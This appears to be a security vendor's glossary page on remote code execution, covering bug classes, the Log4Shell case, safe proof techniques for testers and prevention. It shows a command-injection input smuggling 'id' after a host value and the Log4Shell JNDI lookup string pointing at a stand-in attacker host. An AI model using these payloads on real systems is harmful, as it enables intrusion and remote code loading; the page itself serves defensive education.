Skip to content
Offensive Security Glossary / Remote Code Execution (RCE)

Remote Code Execution (RCE): The Bug Classes That Hand Over the Server

What RCE is, which weaknesses produce it, how testers prove it without harming production, and how to reduce the blast radius.

What Is Remote Code Execution (RCE)

Remote code execution (RCE) is the ability of a remote attacker, with no prior access, to execute arbitrary code or operating system commands on a target machine. RCE is an outcome rather than a single weakness: it results from bug classes such as code injection (CWE-94), OS command injection (CWE-78), deserialization of untrusted data (CWE-502) and unrestricted file upload (CWE-434).

RCE is usually the highest-impact finding in a web or network test because the attacker inherits the privileges of the compromised process. From there, credentials, configuration secrets and internal network access are typically reachable, making RCE a common starting point for lateral movement.

Common Causes of RCE

WeaknessCWEHow it leads to RCE
OS command injectionCWE-78Input is passed to a shell, e.g. ping -c 1 ${host} with host=8.8.8.8; id
Code injectionCWE-94Input reaches eval, an expression language or a template engine (server-side template injection)
Insecure deserializationCWE-502Untrusted serialized objects trigger gadget chains in Java, .NET, PHP or Python libraries
Unrestricted file uploadCWE-434An uploaded script lands in an executable web directory
Memory corruptione.g. CWE-787Out-of-bounds writes in native code redirect execution
Vulnerable componentsvariesA library or appliance with a known RCE CVE is exposed and unpatched

Case Study: Log4Shell (CVE-2021-44228)

In December 2021, a flaw in Apache Log4j 2 allowed attackers to trigger RCE by getting a crafted string such as ${jndi:ldap://attacker.example/a} logged by an application. Log4j's message lookup feature resolved the JNDI reference and loaded attacker-supplied code. It received a CVSS base score of 10.0. Any input that ended up in a log line (a user agent, a username, a search term) was a potential trigger, so exposure was hard to scope and exploitation began almost immediately after disclosure. It illustrates two RCE properties: the vulnerable component may be deep in the dependency tree, and the injection point may be far from the obvious input field.

How Testers Prove RCE Safely

Proving RCE on production should demonstrate control without changing the system:

  • Benign commands: id, whoami or hostname output returned in the response.
  • Out-of-band confirmation: a DNS lookup or HTTP request to a tester-controlled host, useful for blind command injection and deserialization.
  • Time-based confirmation: a controlled delay such as sleep 5, repeated to rule out network noise.
  • No persistence: no web shells left behind, no file writes outside an agreed path, and cleanup documented in the report.

The evidence should name the process user and host so the severity is clear, and the steps must be reproducible for a retest.

Prevention and Containment

  • Avoid shell invocation; call APIs or use argument arrays (execve-style) instead of building command strings.
  • Never deserialize untrusted data with native object serializers; use data-only formats such as JSON with schema validation.
  • Disable dangerous template and expression features and do not let users control templates.
  • Store uploads outside the web root, validate type by content, and serve them from a separate domain.
  • Keep a software bill of materials and patch components with known RCE CVEs, prioritizing those in the CISA KEV catalog. See exploitability.
  • Contain impact: run services as unprivileged users, in containers with read-only filesystems, with restricted egress and no ambient cloud credentials.

Standards Mapping

FrameworkReference
CWECWE-94, CWE-78, CWE-502, CWE-434 (common root causes)
OWASP Top 10 (2025)A05:2025 Injection; A08:2025 Software or Data Integrity Failures (deserialization); A03:2025 Software Supply Chain Failures (vulnerable components)
MITRE ATT&CKT1190 Exploit Public-Facing Application; T1059 Command and Scripting Interpreter

How FireCompass Tests for RCE

FireCompass AI agents test injection, deserialization, upload and known-component paths on internet-facing applications and confirm RCE with non-destructive proof such as out-of-band callbacks or benign command output, within the agreed scope. Findings include the request chain and evidence for reproduction.

Sources and Standards

Frequently Asked Questions

What is the difference between RCE and command injection?

Command injection (CWE-78) is one weakness that can lead to RCE. RCE is the outcome: arbitrary code or commands running on the target, which can also come from deserialization, code injection, file upload or memory corruption.

Why was Log4Shell rated CVSS 10.0?

CVE-2021-44228 was exploitable over the network, without authentication or user interaction, with low complexity, and gave full code execution, which maximizes the CVSS base metrics.

How do pentesters prove RCE without damaging systems?

By running benign commands such as id or hostname, triggering an out-of-band DNS or HTTP callback, or using a controlled time delay, and by leaving no files or persistence behind.

Is RCE always critical?

Usually, but severity depends on the privileges of the process, network position and what credentials are reachable. RCE in a sandboxed, egress-restricted container has less impact than RCE on a domain-joined server.

Further Reading

Reviewed against the primary sources cited on this page. Verified 2026-12-02.

Find Out Whether Anything You Expose Leads to Code Execution

Run a free AI pentest and get RCE findings proven with non-destructive evidence and reproducible steps.

Free AI Pen Test

No credit card. Findings include reproducible steps and exploit code.

Firecompass ranked #1 AI on HackerOne. Read more →